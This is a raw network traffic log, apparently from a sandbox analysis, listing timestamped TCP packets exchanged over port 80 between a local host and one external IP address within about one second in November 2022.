Nov 30, 2022 00:11:13.466398001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466423035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466447115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466458082 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466484070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466519117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466530085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466558933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466588020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466603041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466662884 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466686010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466715097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466742039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466768026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466780901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466804981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466839075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466847897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466900110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.474997044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475047112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475074053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475097895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475119114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475137949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475158930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475179911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.475203037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475229025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475254059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.475764036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.554337025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.554419994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.554579020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.555095911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.555161953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.555222988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.555254936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.555325031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.555399895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.725873947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.725918055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.726067066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.726246119 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.726274967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.726300955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.726327896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.726387024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.726433039 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.731467962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.731566906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.731674910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.731931925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.731966019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.731992006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732021093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732036114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732062101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732083082 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732100010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732126951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732146025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732163906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732189894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732206106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732228041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732254028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732273102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732290983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732323885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732338905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732361078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732387066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732403994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732424021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732455969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732466936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.732494116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.732534885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.734076977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.734116077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.734144926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.734172106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.734190941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.734241009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738140106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738182068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738210917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738239050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738265038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738286018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738305092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738326073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738353968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738373041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738393068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738420010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738442898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738459110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738490105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738507032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738531113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738557100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738580942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738595963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738625050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738641977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738665104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738692999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738711119 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738730907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738758087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738774061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738795996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738822937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738842010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738861084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738903046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738915920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.738941908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738967896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.738982916 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.739006042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.739032030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.739044905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.739077091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.739129066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.746951103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747030020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747051954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747075081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747097969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747121096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747143984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747155905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.747184992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747195959 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.747219086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747245073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.747252941 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.747304916 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.826034069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.826067924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.826256990 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.826941013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.827003956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.827141047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.827229023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.827274084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.827351093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.997380972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997437954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997481108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997523069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997567892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997610092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.997642994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.997766972 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.997806072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.002790928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.002841949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.002996922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003317118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003365993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003427029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003441095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003485918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003530979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003570080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003597975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003647089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003674030 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003711939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003753901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003777027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003817081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003858089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003875971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.003918886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003961086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.003978014 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.004020929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.004074097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.004086018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.004127979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.004168034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.004185915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.004226923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.004286051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.004980087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.005024910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.005068064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.005086899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.005130053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.005193949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010030031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010075092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010118008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010168076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010180950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010226011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010247946 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010288954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010329962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010355949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010391951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010435104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010452986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010493994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010543108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010560989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010658026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010668993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010687113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010710955 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010736942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010776043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010818958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010869980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.010907888 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.010982990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011027098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011045933 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011089087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011158943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011181116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011225939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011272907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011286020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011327982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011374950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011387110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011430025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011477947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011492014 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011534929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011576891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011610985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.011631966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.011677980 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.018488884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018539906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018579960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018627882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018640041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.018671989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.018709898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018748999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018786907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018804073 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.018842936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018903017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.018927097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.018968105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.019010067 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.097546101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.097599983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.097726107 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.098423958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.098469973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.098511934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.098536015 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.098578930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.098659992 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.269110918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269184113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269227982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269254923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.269314051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269356012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269382954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.269423962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.269478083 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.273971081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.274024963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.274147034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.275759935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.275808096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.275850058 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.275877953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.275928974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.275949955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.275995016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276015043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276057959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276077032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276118994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276160955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276180983 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276222944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276263952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276285887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276324034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276367903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276387930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276428938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276474953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276498079 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276546955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276588917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276607990 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276659966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276725054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276746988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276806116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276859999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276871920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.276915073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.276964903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.282813072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.282860041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.282936096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.282972097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283040047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283098936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283155918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283221006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283276081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283312082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283355951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283396006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283421993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283461094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283504009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283524036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283566952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283615112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283631086 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283673048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283721924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283737898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283778906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283821106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283842087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283883095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283931017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.283945084 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.283987045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284034967 CET	80	49725	123.253.32.170	192.168.2.6
